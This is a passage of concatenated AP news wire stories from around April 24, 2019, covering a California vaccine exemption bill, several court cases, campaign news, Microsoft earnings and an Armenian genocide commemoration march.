rights and isn't necessary to prevent outbreaks. "Now they're going after us parents whose children have been injured by vaccines, and doctors as well," said Christina Mecklenburg, who flew in from her Orange County home. "We can't remain silent any more. Too many of our children are being injured." She said a vaccine last year left her now 2-year-old daughter, Hayden, cross-eyed with an ocular palsy that wouldn't qualify for a medical exemption if Pan's bill becomes law. Opponents who jammed the hearing room and nearby hallways criticized the bill and Pan in unusually personal and emotional terms, with several accusing him of "committing crimes against humanity." ''Shame on you," said another, while a third called the bill "evil" and urged him to "please, save your soul." Dr. Sergio Flores, testifying in support of the bill on behalf of the California Medical Association, countered that "vaccines save lives." Dozens of other medical professionals and students, many wearing white medical jackets, also lined up to support the bill. Sacramento mother Alyssa Hernandez supported the bill, saying a high vaccination rate is necessary to protect her son, Noah, 2. He received a liver transplant and so cannot be vaccinated himself against many common but vaccination-preventable diseases. "Each of them could be life-threatening for him," she said. Supporters said pockets of unvaccinated students are helping to spread measles outbreaks in California and elsewhere. Pan said a few unethical doctors are helping parents avoid vaccinating their children by selling medical exemptions through word of mouth or online advertising. California ended non-medical immunization exemptions in 2016, but Pan's bill would follow West Virginia's lead in having public health officials rather than doctors decide who qualifies for medical exemptions. Doctors would certify that they examined the patient and then send the state health department the reason they are recommending the exemption. State and county health officials could also revoke exemptions if they are found to be fraudulent or contradict federal immunization standards. Federal guidelines say less than 1%of children should avoid vaccinations if they have a severe allergic reaction or impaired immunity such as from a liver problem, the HIV virus or chemotherapy. Dr. Nicole Sharrock, a pediatrician, testified that she generally supports vaccinations but said the exemptions would be too narrow and exclude legitimate conditions. She called Pan's legislation "too extreme" because it would let state health officials overrule doctors' decisions. Those officials have "never laid eyes on my child," said Catharine Layton, who flew in from her Southern California home. "It totally comes between the patient and doctor relationship, which is sacred." Layton said her now 5-year-old son, Brennan, suffered a permanent brain injury after he was vaccinated at age 2. "He's pretty much unable to speak, he's in diapers, he functions at the level of an 18-month-old. And prior to the vaccine he was healthy," she said. Statewide immunization rates increased to more than 95% after California abolished the personal belief exemption in 2016, enough to keep most outbreaks from spreading. But health officials say the rate of medical exemptions has also tripled. It is still less than 1% of school children statewide, but advocates said more than half of students aren't vaccinated in at least three California schools and 50 schools have exemption rates of at least 15%. Dr. Edmond Sarraf, a pediatrician opposing the bill, said medical exemptions are up only because personal exemptions are no longer permitted. The bill is backed by the California Medical Association and American Academy of Pediatrics. But more than 100 doctors sent a letter opposing what they called "an ill-advised bill" with a "one-size-fits-all" solution. Pan's office said some of the doctors are believed to be providing questionable exemptions, while the group noted that Pan has accepted tens of thousands of dollars in campaign contributions from the pharmaceutical industry. Ruth Mirelly Osuna, right, of Los Angeles, traveled to the Capitol to join hundreds of others to oppose a proposal to give state public health officials instead of local doctors the power to decide which children can skip their shots before attending school, at the Capitol Wednesday, April 24, 2019, in Sacramento, Calif. State Sen. Richard Pan, D-Sacramento, a pediatrician, the bills author, told members of the Senate Health Committee that his legislation would give state health officials the tools they need to prevent outbreaks of vaccine-preventable diseases like the measles. (AP Photo/Rich Pedroncelli) Dr. Marti Baum, left, a pediatrician, joined others urging lawmakers to approve a proposal to give state public health officials instead of local doctors the power to decide which children can skip their shots before attending school, at the Capitol Wednesday, April 24, 2019, in Sacramento, Calif. State Sen. Richard Pan, D-Sacramento, a pediatrician, the bills author, told members of the Senate Health Committee that his legislation would give state health officials the tools they need to prevent outbreaks of vaccine-preventable diseases like the measles. (AP Photo/Rich Pedroncelli) Alyssa Hernandez listens as opponents to a proposal to give state public health officials instead of local doctors the power to decide which children can skip their shots before attending school, speak at the Capitol Wednesday, April 24, 2019, in Sacramento, Calif. Hernandez, whose son Noah, seen in photos in the background, received a liver transplant when he was six months old and cannot be vaccinated against many vaccine-preventable diseases, spoke in support of the bill. (AP Photo/Rich Pedroncelli) State Sen. Dr. Richard Pan, D-Sacramento, urges lawmakers to approve his proposal to give state public health officials instead of local doctors the power to decide which children can skip their shots before attending school, at the Capitol Wednesday, April 24, 2019, in Sacramento, Calif. Pan, a pediatrician, said his legislation would give state health officials the tools they need to prevent outbreaks of vaccine-preventable diseases like measles. (AP Photo/Rich Pedroncelli) WASHINGTON (AP) - A former State Department employee who held a top-secret clearance pleaded guilty Wednesday to misleading investigators about her contacts with Chinese intelligence agents. Court documents accuse Candace Marie Claiborne, 63, of knowingly supplying information to Chinese intelligence agents in exchange for "tens of thousands of dollars in gifts and benefits" over a five-year period. According to the Justice Department , she received "Chinese New Year's gifts, international travel and vacations, tuition at a Chinese fashion school, a fully furnished apartment, a monthly stipend and numerous cash payments." In exchange, Claiborne "provided copies of internal documents from the State Department on topics ranging from U.S. economic strategies to visits by dignitaries between the two countries," the government said. She pleaded guilty in federal court in Washington to a charge of conspiracy to defraud the United States" by lying to investigators. The charge carries a maximum penalty of five years in prison. Claiborne, 63, was arrested last year after working for the State Department for more than 15 years. Claiborne started as an office management specialist in 1999, and served in multiple overseas postings including Baghdad, Beijing and Khartoum, Sudan. "Candace Claiborne broke the public trust when she accepted gifts and money from foreign officials, and then lied about it to State Department background investigators," U.S. Attorney Jessie Liu said in a statement. "The United States will continue to seek to hold accountable those who abuse their positions of trust." ELIZABETH, N.J. (AP) - A man who gained Internet fame as "Kai the Hatchet-Wielding Hitchhiker" has been convicted of first-degree murder in the beating death of a New Jersey man almost six years ago. Jurors in Union County convicted 30-year-old Caleb "Kai" McGillvary on Wednesday in the May 2013 death of 73-year-old lawyer Joseph Galfy. Authorities said the two met in New York and the defendant stayed at Galfy's home. McGillvary was arrested in Philadelphia days later. McGillvary alleged that he acted in self-defense following an attempted sexual assault, but prosecutors said his statements were inconsistent and also cited the victim's extensive injuries. The Canadian gained some online fame after intervening in a 2012 assault on a California utility worker in which he described using a hatchet to fend off a further attack. NEWARK, N.J. (AP) - The latest on the resentencing of a former aide to ex-Gov. Chris Christie convicted for her role in the George Washington Bridge lane-closing scheme (all times local): 4:10 p.m. Former New Jersey Gov. Chris Christie's former deputy chief of staff was resentenced to 13 months for her role in the George Washington Bridge lane-closing scandal. U.S. District Judge Susan Wigenton resentenced Bridget Kelly in federal court Wednesday in Newark. Kelly cried as she asked the judge to consider the impact of imprisonment on her children. Kelly and co-defendant Bill Baroni were convicted in 2016 in what prosecutors and a co-conspirator say was a plot to cause traffic jams near the bridge to punish a mayor who wouldn't endorse Christie's reelection. Bridget Kelly, the former Deputy Chief of Staff for former New Jersey Gov. Chris Christie, arrives at the Martin Luther King, Jr., Federal Courthouse for a re-sentencing hearing, Wednesday, April 24, 2019, in Newark, N.J. Kelly was convicted in 2016 in the alleged plot to cause traffic jams to punish a mayor for not endorsing Christie's re-election bid. (AP Photo/Julio Cortez) A federal appeals court last fall tossed some of the counts against Kelly and Baroni but upheld the most serious ones. Baroni had his sentence reduced from 24 months to 18 months in February and has begun serving his term. Kelly was initially sentenced to 18 months. ___ 1 a.m. A one-time aide to former New Jersey Gov. Chris Christie is facing resentencing for her role in the George Washington Bridge lane-closing scandal. Bridget Kelly is due in court Wednesday in Newark. She and co-defendant Bill Baroni were convicted in 2016 in what prosecutors and a co-conspirator said was a plot to cause traffic jams near the bridge to punish a mayor who wouldn't endorse Christie's reelection. Last fall a federal appeals court tossed some of the counts against Kelly and Baroni but upheld the most serious ones. Baroni had his sentence reduced from 24 months to 18 months in February and has begun serving his term. Kelly was initially sentenced to 18 months. She and Baroni both have petitioned the U.S. Supreme Court to hear their appeal of their convictions . NEW YORK (AP) - President Donald Trump's prison-bound former lawyer told actor Tom Arnold last month that he pleaded guilty to some crimes he didn't commit so his wife wouldn't "get dragged into the mud of this crap." Michael Cohen told Arnold "they had me on campaign finance" for arranging hush-money payments to two women who claimed to have had affairs with Trump, but denied committing tax evasion and called a crime related to a home equity line of credit "a lie." He also complained in the March 25 call that he felt abandoned and tossed aside - like "a man all alone" - after giving more than 100 hours of interviews and testimony to federal investigators and congressional committees. Arnold said he recorded the 36-minute call without Cohen's knowledge because Cohen was known to record conversations and that he wanted to remember what they discussed. Arnold provided a copy to The Wall Street Journal, which reported on it and posted audio excerpts on its website on Wednesday. It's unclear where Arnold was when he made the recording. If he was in California, he could face legal scrutiny because the state requires consent from both parties on the call. If he was in New York, he's in the clear. That state only requires one party's consent. Cohen met Arnold in June 2018 in what he described as a "chance, public encounter" in the lobby of a Manhattan hotel where Cohen was staying while his apartment was being repaired. Cohen said that Arnold asked to take a selfie . FILE - In this Nov. 29, 2018, file photo, Michael Cohen walks out of federal court in New York. President Donald Trump's prison-bound former lawyer candidly told actor Tom Arnold last month that he pleaded guilty to some crimes he didn't commit so his wife wouldn't "get dragged into the mud of this crap." (AP Photo/Julie Jacobson, File) The meeting happened about two months after the FBI raided Cohen's hotel room and home and about two weeks before he publicly declared he was splitting from Trump, telling ABC's George Stephanopoulos: "I will not be a punching bag as part of anyone's defense strategy." Arnold, who hosted a Viceland series last year in which he investigated rumored recordings of Trump, told the Journal he made the recent call to Cohen to follow up on their meeting and to offer him moral support. Arnold's representatives did not immediately respond to an interview request. Cohen is scheduled to begin a three-year sentence on May 6 at a federal prison about 70 miles (113 kilometers) northwest of New York City. His lawyers recently asked House Democrats to intercede to get a reduced or delayed sentence, but they've been reticent to do so. According to the Journal, Cohen told Arnold he pleaded guilty to the charges he now disputes because federal prosecutors were looking at his wife, Laura Shusterman, because her name was on a bank account where he deposited $2.4 million in loan proceeds. "I love this woman, and I am not going to let her get dragged into the mud of this crap," Cohen said, according to the Journal. "And I never thought the judge was going to throw a three-year fricking sentence." Cohen's concerns about the tax evasion and bank fraud charges appeared to echo some of what his former lawyer, Guy Petrillo, wrote in a sentencing memorandum submitted to the court in December. Petrillo argued that Cohen's tax evasion was "unsophisticated" and warranted less punishment than elaborate schemes. He argued that the bank fraud charge was the result of sloppiness in completing paperwork. Cohen's lawyer and spokesman, Lanny Davis, acknowledged that Cohen spoke with Arnold and said that he "meant no offense by his statements." "Michael has taken responsibility for his crimes and will soon report to prison to serve his sentence," Davis said in an emailed statement. "While he cannot change the past, he is making every effort to reclaim his life and do right by his family and country." The Manhattan U.S. attorney's office declined to comment. __ Follow Sisak at twitter.com/mikesisak __ Send news tips, documents and recordings to AP securely and confidentially: https://www.ap.org/tips/ . Paul Ayah Abine archives The Former Member of the National Assembly for Akwaya, Hon. Ayah Paul Abine has joined the social media bandwagon to throw jabs at Cameroon's Head of State, President Paul Biya following newfound love for the new generation media. When the Cameroonian Sovereign in a Facebook post on April 22, 2019 called on his compatriots to defend the homeland, Ayah Paul Abine filed a savage response. In fact, the President had posted: We have only one Fatherland. It is our duty to defend it and lead it; all of us together, on the paths of greatness and prosperity for everybody." The retired Supreme Court Judge cum Barrister-at-Law picked on the man overwhelming reelected last October 7 to steer the statecraft, wondering aloud if indeed the fatherland is one. The former member of President Biya's Cameroon People's Democratic Movement (CPDM) wrote: "'One Fatherland' indeed! 'One Fatherland' where parliament systematically refuses to debate the daily massacre of Anglophone! 'One Fatherland' where the head stays indifferent to protracted calls that Anglophones should be killed systematically down to the six-month old!" Apparently vexed with a regime he so religiously served but that jailed him, Ayah wrote further: "Truly, 'One Fatherland' where Anglophones returning to the 'One Fatherland' are turned away at the airports! 'One Fatherland' verily where Boko Haram killers are resettled and rewarded while innocent Anglophones or at least, presumed innocent at law, are dying in dungeons indefinitely awaiting trial! 'One Fatherland' where all anglophone are branded secessionistes and/or terroristes! ... Arh beg, who wan vomit???!!! As if we are all infants!" Until his resignation from politics two months ago, Ayah led the opposition Popular Action Party (PAP). The retired Advocate General at the Supreme Court of Cameroon was arrested on January 21, 2017 at his residence in Yaounde in relation to the Anglophone crisis. He has on several occasions narrated instances of threats on his life. The vocal and loud sounding critic of Cameroons current political system quit politics in compassion and solidarity with the killed, the wounded, the suffering/starving, and those languishing in detention under appalling conditions because of the social instability in Cameroon. When on April 10, 2008 parliament amended the constitution to permit President Biya take another mandate in 2011 and beyond if he so wishes, Ayah was the one man from the President's party who raised a voice of disapproval. Ayah, an outspoken CPDM MP at the time, slammed the bill predicting it would set the country back 200 years. He said money was being paid to party members to encourage them to approve the bill, though there's been no piece of evidence to justify this claim. It 2011, Ayah stood against Biya in the October 11 presidential election but came 5th. He has since remained a bone in the throat of the Yaounde regime - a status quo he once served. WASHINGTON (AP) - Democratic presidential hopeful Pete Buttigieg (BOO'-tuh-juhj) has received his first endorsement from a member of Congress. Three-term Democratic Rep. Don Beyer (BY'-er) of Virginia told The Washington Post on Wednesday that he's backing the 37-year-old mayor of South Bend, Indiana. Beyer says he started off as "a huge skeptic." But he says Buttigieg won him over through a series of interviews. Beyer says, "I think he's the most articulate of all the candidates we have." He says Buttigieg communicates "better than anyone I've seen since Barack Obama." Beyer was an early backer of Obama in 2007 and knocked on doors for his campaign in Iowa. He says he'll do the same for Buttigieg. Buttigieg is a Rhodes scholar and former Navy Reserve officer who served in Afghanistan. NASHVILLE, Tenn. (AP) - Federal prosecutors said this week they intend to file a lawsuit against a Tennessee state senator and other co-owners of a now-shuttered pain clinic company. Court filings said Comprehensive Pain Specialists, which was based in Tennessee and once operated in 12 states, defrauded the government of millions of dollars by submitting claims for unnecessary procedures and falsifying documents. On Wednesday, U.S. District Judge Aleta Trauger granted federal and state prosecutors' notices of intention to intervene in whistleblower complaints against the company. They have 90 days to file their own complaints. U.S. attorneys also notified the court that they are adding Tennessee Sen. Steve Dickerson, among other defendants. The Nashville Republican and anesthesiologist declined to comment on Thursday. The whistleblower complaints include one by Dr. Suzanne Alt, who worked at CPS clinics in Missouri and Iowa in 2014 and 2015. Alt said in her complaint that she was personally instructed to increase the number of full-panel drug screenings she was performing, all of which were sent to a CPS-owned lab in Tennessee for processing. FILE- In this Nov. 8, 2016 file photo, Tennessee state Sen. Steve Dickerson addresses the media in Nashville, Tenn. Tennessee Sen. Steve Dickerson has been added as a defendant in a lawsuit accusing a pain clinic company he co-owns with violations of the False Claims Act. Court filings claim the Tennessee-based pain clinic company that once operated in 12 states defrauded the government of millions of dollars by submitting claims for unnecessary procedures and falsifying documents. (George Walker IV/The Tennessean via AP, File) When she questioned why she could not perform an alternative, cheaper test done in the clinic, she was told to do it "the CPS way," according to the complaint and was later fired. Alt's complaint also alleges that physicians received a percentage of the laboratory revenue, in violation of the Stark Act, which prohibits physicians from making referrals in which they have a financial interest. Two former CPS office workers, Mary Butner and Dana Brown allege in their complaint they were instructed to cut and paste forged signatures to documents in order to obtain pre-authorizations for treatments. They were also told to falsify patient records to make them appear eligible for services. They also said they were fired for questioning the company's actions. Former compliance director Jennifer Pressotto alleges in her complaint that CPS employees treated patients with an acupuncture device that was not eligible for reimbursement but billed for a totally different treatment. When Pressotto demanded the company reimburse Medicare and Medicaid, she was fired, according to the complaint. A complaint from physician's assistant Allison Chancellor alleges CPS ordered unnecessary genetic and psychological tests along with the drug screens. Her complaint points to a clinic in Illinois that was purchased by CPS. Before the purchase, drug screening accounted for less than 1% of a clinic doctor's Medicare billing, or about $2,000 in 2013. In 2014, after CPS took over, that same doctor's billing for drug screens amounted to 42% of his Medicare billing, or $246,000. Her complaint states she was told to order the drug screen at every Medicare patient visit and that "Medicare patients were less likely to question the urine drug screens because they were unlikely to review the claims." Like the others, Chancellor said she was fired when she complained about the company's practices. CPS clinics closed suddenly last summer, shortly after former CEO John Davis was indicted in a criminal complaint. He was found guilty earlier this month of receiving kickbacks in relation to a federal health care program and federal prosecutors say he will be a defendant in their complaint. An attorney who has represented CPS as an interested party in the criminal case against Davis did not immediately respond to phone and email messages. NEW YORK (AP) - Under pressure over past allegations of child sex abuse, the Boy Scouts of America defended its current prevention policies on Wednesday and said there were five known victims in 2018 out of roughly 2.2 million youth members. "Scouting programs today are safe," said Erin Eisner, a chief strategy officer for the BSA and the mother of two scouts. "If I felt for a second that scouting was unsafe, I would not be associated with nor advocate for the BSA." Eisner, who joined Chief Scout Executive Mike Surbaugh in a telephone news conference, urged the creation of a national registry in which the BSA and other youth-serving organizations could pool information they had gathered about confirmed or suspected predators in order to lessen the chances that any of them could obtain positions working with children. Eisner said the Boy Scouts were collaborating on that project with the Centers for Disease Control and Prevention and with the National Center for Missing and Exploited Children. The BSA convened the news conference in response to flurry of news reports about abuse-related challenges facing the 109-year-old organization. Across the U.S., lawyers are recruiting clients to join in sex-abuse lawsuits against Boy Scouts as states have moved to ease statute-of-limitations laws. New York enacted a law earlier this year creating a window for victims of long-ago abuse to file such suits, and several other states are considering such measures. Eisner and Surbaugh defended the BSA's century-old practice of compiling "ineligible files," which list adult volunteers considered to pose a risk of child molestation. About 5,000 of these files have been made public as a result of court action; others remain confidential. FILE - This Feb. 4, 2013 file photo shows a meal pin on a Boy Scout's uniform in Irving, Texas. Under pressure over its past problems with child sex-abuse, the Boy Scouts of America defended its current prevention policies on Wednesday, April 24, 2019 and said there were only five known victims in 2018 of out roughly 2.2 million youth members. (AP Photo/Tony Gutierrez, File) Minnesota-based lawyer Jeff Anderson, who specializes in sex-abuse litigation, released a court deposition in New York on Tuesday with testimony from Janet Warren, a University of Virginia psychiatry professor hired by the Boy Scouts to review its files. In her deposition, Warren said there were 7,819 individuals in the "ineligible files" as of January, as well as 12,254 victims. Warren joined in Wednesday's news briefing, describing the BSA's sex-abuse database as "cutting edge' and contending that the organization's rate of reported sex abuse was lower than in society as a whole. According to the BSA, when any volunteer is added to the database for suspected abuse, they are reported to law enforcement, removed entirely from all scouting programs and prohibited from rejoining anywhere. However, the BSA does not proactively make the names in the database public. Eisner said doing so in the cases of volunteers who have never been arrested or convicted might raise issues of civil liberties and due process. But Jeff Anderson, in an emailed statement, rejected the BSA's argument that the database should remain out of public view. "Through a simple keystroke, they have the ability today to release the names and locations of every offender that sexually abused children," Anderson said. "Absent that, any effort, promise, pledge, practice is falling short of protecting kids." Past settlements in sex-abuse cases have strained the Boy Scouts' finances, and the burden could worsen if the statute-of-limitations reforms in New York and elsewhere trigger a new wave of lawsuits. Surbaugh reiterated that the BSA is considering "all available options" and did not rule out the option of seeking bankruptcy protection. He said the BSA is seeking to meet any financial obligations to abuse victims without jeopardizing its ability to serve its youth members. REDMOND, Wash. (AP) - Microsoft's ongoing push to get automakers, retailers and other businesses onto its cloud computing platform helped power the company's third-quarter earnings ahead of Wall Street expectations Wednesday. The software maker posted fiscal third-quarter earnings of $8.8 billion, up 19% from the same period last year. The Redmond, Washington-based company said it had profit of $1.14 per share, beating the $1 per share anticipated by analysts. Microsoft also topped forecasts with $30.6 billion in reported revenue, a year-over-year increase of 14%. Eleven analysts surveyed by Zacks had expected $29.8 billion. Amid a decline in its legacy Windows software business, much of Microsoft's growth in recent years has come from selling its cloud services to other businesses and governments. Microsoft Chief Financial Officer Amy Hood said in a statement Wednesday that revenue from the company's "commercial cloud" segment grew 41 percent year-over-year to $9.6 billion. ExxonMobil announced in February a deal to tap into Microsoft's cloud platform and artificial intelligence to capitalize on the shale oil boom in Texas and New Mexico. FILE - In this March 21, 2019, file photo a robot called "Pepper" is positioned near an entrance to a Microsoft Store location, in Boston. Microsoft Corp. reports earnings Wednesday, April 24. (AP Photo/Steven Senne, File) Microsoft is battling Amazon for a multibillion contract to supply the U.S. military with cloud computing services. The Pentagon could award the contract as early as this summer. Microsoft has already won a smaller $480 million contract to build HoloLens augmented reality headsets for soldiers. In the gaming sector, Microsoft said Wednesday that revenue from its Xbox division grew 5%, with 12% growth in software and services offsetting a decline in hardware sales. The company is preparing to launch its first diskless console next month as it braces for increasing competition from new forms of gaming, such as a Google's console-free game streaming service due out later this year. Microsoft shares have risen 23 percent since the beginning of the year, while the Standard & Poor's 500 index has risen 17 percent. In the final minutes of trading on Wednesday, shares hit $125.07, an increase of 34 percent in the last 12 months. Microsoft said Wednesday it returned $7.4 billion in the quarter to shareholders in the form of share repurchases and dividends. _____ Elements of this story were generated by Automated Insights (http://automatedinsights.com/ap) using data from Zacks Investment Research. Access a Zacks stock report on TWTR at https://www.zacks.com/ap/TWTR MADISON, Wis. (AP) - The Latest on federal military investigators reviewing the Wisconsin National Guard's sexual misconduct policies (all times local): 4:05 p.m. Gov. Tony Evers is standing by the Wisconsin National Guard's top commander despite calling for a review of Guard sexual misconduct policies. Evers and Sen. Tammy Baldwin announced Wednesday that federal investigators have granted their request to conduct an extensive review of the Wisconsin Guard's sexual misconduct policies. The review comes as the U.S. Air Force is investigating sexual assault and harassment allegations within a Wisconsin Air National Guard security unit dating back to 2002. Guard officials said earlier this month they've received 52 sexual assault complaints between 2013 and 2017, substantiating 10 with connections to military service. Evers tells The Associated Press that he's not questioning Adj. Gen. Donald Dunbar's leadership. He says the review is about ensuring Guard members feel safe and not about individual personnel. ___ 11:30 a.m. Gov. Tony Evers and U.S. Sen. Tammy Baldwin say federal military officials have agreed to review how the Wisconsin National Guard handles sexual assault after members alleged harassment, assault and retaliation for reporting incidents. Evers and Baldwin asked the National Guard Bureau's Office of Complex Investigations in March to review the Wisconsin Guard's sexual assault and harassment reporting procedures and accountability measures. Evers and Baldwin said Wednesday that OCI will conduct the review over several months. The U.S. Air Force is already investigating sexual assault and harassment allegations within a Wisconsin Air National Guard security unit dating back to 2002. Baldwin requested that probe in November. Guard officials told reporters this month that they received 52 sexual assault complaints between 2013 and 2017. They substantiated 10 related to military service. IOWA CITY, Iowa (AP) - Democratic presidential candidate Cory Booker released 10 years of tax returns Wednesday, showing his income plunged last year but he remained generous toward charity. Booker reported income of $152,715 in 2018 for his salary as a U.S. senator from New Jersey. He paid $22,781 in taxes and had an effective tax rate of 19 percent. Booker donated $24,000 to charity in 2018 - or more than 15 percent of his income. That contrasts with other Democratic presidential candidates who have reported giving much smaller percentages to charity in their tax returns, often 2 percent or less. Booker, who is single and has no children, reported total charitable contributions of nearly $460,000 over the 10-year period. Slightly more than half of those donations came in 2013, when Booker faced criticism over his role founding the social media company Waywire and gave significant amounts of stock to Newark charities. Booker wasn't required to list all the charities to which he gave, but the Monmouth Medical Center Foundation, Metropolitan Baptist Church and the AIDS Resource Foundation for Children were among the 2013 recipients. Booker reported a higher income in 2015, 2016 and 2017 from advances and royalties off the sale of his book, "United," which was released in 2016. Booker reported income of $429,983 in 2017 and $466,168 in 2016. Democratic presidential candidate Sen. Cory Booker, D-N.J., answers questions during a presidential forum held by She The People on the Texas State University campus Wednesday, April 24, 2019, in Houston. (AP Photo/Michael Wyke) Before he was elected to the Senate in 2013, Booker also made significant income from paid public speaking engagements while serving as mayor of Newark. His tax returns show he made more than $1.7 million in speaking fees from 2009 through 2013. Groups such as universities, nonprofits and companies paid him up to $30,000 per speech. Booker is the latest among several Democrats vying for the party's 2020 presidential nomination to release years of past tax information. Sen. Bernie Sanders, Sen. Elizabeth Warren, Sen. Amy Klobuchar, Sen. Kirsten Gillibrand, Sen. Kamala Harris, former U.S. Rep. Beto O'Rourke and Washington Gov. Jay Inslee have done so. That's in contrast to President Donald Trump, who has bucked longtime presidential tradition and declined to make his tax filings public. LOS ANGELES (AP) - Huge crowds of Armenian Americans marched in Los Angeles on Wednesday in an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire. The march was intended to press demands that Turkey - the successor of the Ottoman Empire - recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. The Los Angeles region is home to a large Armenian community, and the march has become a major event which includes a protest outside the Turkish Consulate. One of the community's most famous members, Kim Kardashian West, tweeted: "We made a promise we would never forget the Armenian genocide." In Sacramento, Gov. Gavin Newsom issued a proclamation declaring "A day of remembrance of the Armenian Genocide." Huge crowds of Armenian Americans march in Los Angeles during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) "Today and every day, let us recommit ourselves to making certain that we never forget the Armenian Genocide, and that we always speak out against hatred and atrocities anywhere they occur," it said. U.S. Rep. Adam Schiff, a Democrat whose district encompasses much of the Armenian community, said in a statement that there is no debate that it was genocide and he faulted U.S. presidents from both parties for stopping short of using the term. "The denial of the genocide is an enduring wound to the Armenian people who descended from survivors to build lives here in the United States, in Armenia, and around the world," Schiff wrote. Huge crowds of Armenian Americans march during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire in Los Angeles Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) Huge crowds of Armenian Americans march during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire in Los Angeles Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) Armenian Americans ride in a Hummer four-wheel-drive utility vehicle, as crowds march during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire in Los Angeles Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) Huge crowds of Armenian Americans march during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire in Los Angeles Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) Lydia Ponce, Co-Director, American Indian Movement join crowds of Armenian Americans marching during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire in Los Angeles Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) Kayla Asemanfar, Project Coordinator and Leader with the Southwest Asian and North Afrikan Los Angeles (SWANA LA) joins crowds of Armenian Americans marching during an annual commemoration of the deaths of 1.5 million Armenians under the Ottoman Empire in Los Angeles Wednesday, April 24, 2019. The march was intended to press demands that Turkey, the successor of the Ottoman Empire, recognize the deaths as genocide. Turkey contends the deaths starting in 1915 were due to civil war and unrest. (AP Photo/Damian Dovarganes) NEW YORK (AP) - Police have arrested a man on criminal mischief charges for smashing up New York City's flashy sidewalk Wi-Fi kiosks. New York City police on Wednesday said the suspect, identified as 41-year-old Juan Rodriguez, was seen on surveillance video hurling bricks or other objects at 42 LinkNYC kiosks in Manhattan over the last week. Information on his lawyer wasn't immediately available. One of the videos, recorded April 16 by a camera on a kiosk near Times Square, shows a bearded man in a blue, long-sleeve T-shirt walking up and tossing a brick at the camera. New York City has more than 1,800 of the 9-foot (3-meter) tall, narrow kiosks. That includes about 1,100 in Manhattan. The kiosks feature large video boards and provide free Wi-Fi service and ports to charge phones. PHOENIX (AP) - A special prosecutor appointed to defend a ruling that refused to erase former Sheriff Joe Arpaio's criminal record says the lawman gave up his right to appeal his contempt of court conviction when he accepted a pardon from President Donald Trump. Christopher Caldwell said in a filing Monday with the 9th Circuit Court of Appeals that pardons moot any punishments that a person convicted of a crime might face, but they don't erase judgments made by courts in those cases. If Arpaio wanted to challenge his misdemeanor conviction for disobeying a 2011 court order to stop his immigration patrols, then he should have rejected the pardon and taken his chances in an appeals court, Caldwell wrote. "This appeal is Arpaio's last move to avoid being held accountable - even just on paper - for repeatedly violating Maricopa County residents' civil rights and willfully (and publicly) defying judicial attempts to protect them," Caldwell wrote. "This court should not indulge Arpaio's desire to operate above the law by vacating the order confirming that he broke it." Arpaio served as the sheriff of metro Phoenix for 24 years until his defeat in late 2016. After election defeat and his pardon, Arpaio was defeated in the Republican primary for a U.S. Senate seat. Caldwell was appointed to defend U.S. District Judge Susan Bolton's ruling after the Justice Department, which won the conviction against Arpaio but sided with the lawman after his pardon, had refused to defend the decision. FILE - In this May 22, 2018 file photo, former Maricopa County Sheriff Joe Arpaio speaks during a campaign event in Phoenix. A special prosecutor appointed to defend a ruling that refused to erase Arpaio's criminal record says the lawman gave up his right to appeal his contempt of court conviction when he accepted a pardon from President Donald Trump. (AP Photo/Matt York, File) The Justice Department asked the appeals court in a filing Monday to reverse Bolton's ruling and order her to rescind the verdict. "A presidential pardon, not Arpaio, caused the mootness," Justice Department attorneys wrote. Echoing Arpaio's attorneys, the Justice Department attorneys said the president could have issued the pardon even if Arpaio had not accepted. Arpaio's lawyers have argued that the lawman was deprived of his opportunity to appeal his conviction because the pardon came before he was sentenced and final judgment was entered, so the conviction must be erased. Jack Wilenchik, one of Arpaio's attorneys, said he expects a decision Monday on whether the U.S. Supreme Court will hear the former sheriff's appeal seeking to reverse Caldwell's appointment as special prosecutor. ___ Follow Jacques Billeaud at twitter.com/jacquesbilleaud. WASHINGTON (AP) - President Donald Trump took to Twitter Wednesday promising to fight any effort by House Democrats to impeach him for, in the Constitution's vague words, "high crimes and misdemeanors." Trump said that "not only are there no 'High Crimes and Misdemeanors,' there are no Crimes by me at all." The presidential tweets were among many Trump has broadcast since last week's release of special counsel Robert Mueller's report. Mueller detailed 10 allegations of Trump's attempts to obstruct the Russia investigation that left open whether the president broke the law. If the House decides to pursue an impeachment investigation, representatives would have to decide whether the material in Mueller's report constitutes an impeachable offense. The Constitution doesn't provide much help in determining what are high crimes or misdemeanors, but lawmakers in impeachment proceedings against Presidents Richard Nixon and Bill Clinton believed obstruction of justice qualified. The Constitution provides for the impeachment and removal of the president, and other officers of the government, for "treason, bribery or other high crimes and misdemeanors." The first two crimes are relatively easy to understand, but "high crimes and misdemeanors" are hard to define. In 1970, then-House Republican Leader Gerald Ford, defined an impeachable offense as "whatever a majority of the House of Representatives" would vote for. Ford's description may have been technically accurate - it takes a majority vote in the House to impeach - but many legal scholars find what Ford said too nakedly political and not in accord with U.S. history. President Donald Trump and first lady Melania Trump arrive back at the White House in Washington, Wednesday, April 24, 